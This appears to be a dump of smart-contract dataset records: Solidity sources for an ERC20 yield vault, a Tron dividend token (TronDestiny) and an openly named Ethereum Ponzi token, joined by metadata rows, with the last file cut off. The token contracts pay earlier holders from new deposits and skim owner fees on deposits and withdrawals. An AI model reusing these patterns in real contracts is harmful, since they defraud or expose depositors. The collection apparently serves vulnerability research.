// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IStrategy {
function deposit() external;
function withdraw(uint256) external;
function balanceOf() external view returns (uint256);
function retireStrat() external;
}
contract ElevenGrowthVault is ERC20, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct StratCandidate {
address implementation;
uint proposedTime;
}
// The last proposed strategy to switch to.
StratCandidate public stratCandidate;
// The strategy currently in use by the vault.
address public strategy;
// The token the vault accepts and looks to maximize.
IERC20 public token;
// The minimum time it has to pass before a strat candidate can be approved.
uint256 public approvalDelay;
event NewStratCandidate(address implementation);
event UpgradeStrat(address implementation);
constructor(string memory name__, string memory symbol__, address _lpToken) public ERC20(name__, symbol__) {
token = IERC20(_lpToken);
}
bool canDo = true;
function setStrategy(address _strategy) external onlyOwner{
require(canDo == true, "can't do");
strategy = _strategy;
canDo = false;
}
function changeApprovalDelay(uint _time) public onlyOwner{
require(approvalDelay < 7 days, "too much time");
require(_time > approvalDelay, "approval delay can only increase");
approvalDelay = _time;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this)).add(IStrategy(strategy).balanceOf());
}
function available() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getPricePerFullShare() public view returns (uint256) {
return balance().mul(1e18).div(totalSupply());
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint256 _pool = balance();
uint256 _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint256 shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
earn();
}
function earn() public {
uint _bal = available();
token.safeTransfer(strategy, _bal);
IStrategy(strategy).deposit();
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdraw(uint256 _shares) public {
uint256 r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
IStrategy(strategy).withdraw(_withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function proposeStrat(address _implementation) public onlyOwner {
stratCandidate = StratCandidate({
implementation: _implementation,
proposedTime: block.timestamp
});
emit NewStratCandidate(_implementation);
}
function upgradeStrat() public onlyOwner {
require(stratCandidate.implementation != address(0), "There is no candidate");
require(stratCandidate.proposedTime.add(approvalDelay) < block.timestamp, "Delay has not passed");
emit UpgradeStrat(stratCandidate.implementation);
IStrategy(strategy).retireStrat();
strategy = stratCandidate.implementation;
stratCandidate.implementation = address(0);
stratCandidate.proposedTime = 5000000000;
earn();
}
}
| 83,646 | 13,419 |
429fae0ee38afae396570207f250ac374005a1b34b8ffaacf10066ef70794486
| 16,540 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMzvxC8aKwE2kFnC4E4R2Z4pb7exas6mhG_TronDestiny.sol
| 4,574 | 15,918 |
//SourceUnit: des.sol
pragma solidity ^0.4.25;
contract TronDestiny {
uint256 public TotalInvestments = 0;
uint256 public TotalReferralRewards = 0;
uint256 public TotalUsers = 0;
uint256 public TimeStart = now + 5 hours; // Launch time in UNIX
address public owner = msg.sender;
uint256 public LevelTier0 = 0;
uint256 public LevelTier1 = 5000 * 1000000; // 5000 TRON
uint256 public LevelTier2 = 10000 * 1000000; // 10000 TRON
uint256 public LevelTier3 = 20000 * 1000000; // 20000 TRON
uint256 public LevelTier4 = 50000 * 1000000; // 50000 TRON
uint256 FeeRate = 10;
constructor() public {
owner = msg.sender;
}
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingTron,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 tronEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 tronReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 tronWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
uint8 constant internal entryFee_ = 50; // 50 - refferalTier
uint8 constant internal refferalTier0 = 50; // 50% from 50% = 25% referral reward
uint8 constant internal refferalTier1 = 60; // 60% from 50% = 30% referral reward
uint8 constant internal refferalTier2 = 70; // 70% from 50% = 35% referral reward
uint8 constant internal refferalTier3 = 80; // 80% from 50% = 40% referral reward
uint8 constant internal refferalTier4 = 100; // 100% from 50% = 50% referral reward
uint8 constant internal exitFee_ = 15; // 15% sell fee
string public name = "TronDestiny";
string public symbol = "TDY";
uint8 constant public decimals =18;
uint8 constant internal transferFee_ = 1;
uint256 constant internal tokenPriceInitial_ = 1; // Initial price
uint256 constant internal tokenPriceIncremental_ = 1; // Price increase
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 0; // how many STOCKS do you need to unlock your referral link (0 stocks)
address administrator = owner;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => uint256) internal UserReferralRewards;
mapping(address => uint256) internal TotalUserReferralRewards;
mapping(address => uint256) internal TotalInvitedUsers;
mapping(address => bool) public isInWhiteList;
mapping(address => bool) public notUsed;
mapping(address => bool) public isPlayer;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
// uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
uint amountToUse;
if(isInWhiteList[msg.sender] && notUsed[msg.sender] == false){
amountToUse = (msg.value * 120)/100;
notUsed[msg.sender] = true;
}
else{
amountToUse = msg.value;
}
if(!isPlayer[msg.sender]){
TotalUsers ++;
isPlayer[msg.sender] = true;
}
purchaseTokens(amountToUse, _referredBy);
}
function joinwhitelist() external payable{
require(TimeStart > now);
isInWhiteList[msg.sender] = true;
if(!isPlayer[msg.sender]){
TotalUsers ++;
isPlayer[msg.sender] = true;
}
}
function() payable public {
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
TotalUserReferralRewards[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
TotalUserReferralRewards[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
uint256 FeeDividendsWithdraw = (_dividends / 100) * 10;
owner.transfer(FeeDividendsWithdraw);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _tron = tokensToTron_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedTron * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedTron, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToTron_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalTronBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function MyReferralRewards(address _customerAddress) public view returns (uint256) {
return UserReferralRewards[_customerAddress];
}
function TotalReferralRewardsUser(address _customerAddress) public view returns (uint256) {
return TotalUserReferralRewards[_customerAddress];
}
function UsersTotalInvited(address _customerAddress) public view returns (uint256) {
return TotalInvitedUsers[_customerAddress];
}
function TotalReferralRewards() public view returns (uint256) {
return TotalReferralRewards;
}
function TotalInvestments() public view returns (uint256) {
return TotalInvestments;
}
function TotalUsers() public view returns (uint256) {
return TotalUsers;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, entryFee_), 100);
uint256 _taxedTron = SafeMath.add(_tron, _dividends);
return _taxedTron;
}
}
function calculateTokensReceived(uint256 _tronToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_tronToSpend, entryFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tronToSpend, _dividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
return _amountOfTokens;
}
function calculateTronReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _tron = tokensToTron_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, exitFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
function purchaseTokens(uint256 _incomingTron, address _referredBy) internal returns (uint256) {
require(now > TimeStart);
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, entryFee_), 100);
uint256 _referralBonus;
if (UserReferralRewards[_referredBy] > LevelTier1 && UserReferralRewards[_referredBy] < LevelTier2) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier1), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier2 && UserReferralRewards[_referredBy] < LevelTier3) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier2), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier3 && UserReferralRewards[_referredBy] < LevelTier4) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier3), 100);
}
else if (UserReferralRewards[_referredBy] > LevelTier4) {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier4), 100);
}
else {
_referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalTier0), 100);
}
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 FeeRateCalculator = (_incomingTron / 100) * 10;
owner.transfer(FeeRateCalculator);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
TotalInvestments += _incomingTron;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != address(0) &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
UserReferralRewards[_referredBy] = UserReferralRewards[_referredBy] + _referralBonus;
TotalUserReferralRewards[_referredBy] = TotalUserReferralRewards[_referredBy] + _referralBonus;
TotalReferralRewards += _referralBonus;
TotalInvitedUsers[_referredBy]++;
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingTron, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function tronToTokens_(uint256 _tron) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_tron * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToTron_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _tronReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _tronReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 295,401 | 13,420 |
b927ff3c225e557fe6090029fe41735ac8a7f7485026bfb652c293a7919d349c
| 9,435 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1c98eea5fe5e15d77feeabc0dfcfad32314fd481.sol
| 3,321 | 9,152 |
pragma solidity ^0.4.19;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// 10% fees, price goes up crazy fast ETHCONNNNNNNNNNNECT! www.ethconnectx.online
contract EthConnectPonzi {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "ETHCONNECTx";
string constant public symbol = "ETHX";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//address owner;
function EthConnectPonzi() public {
//owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
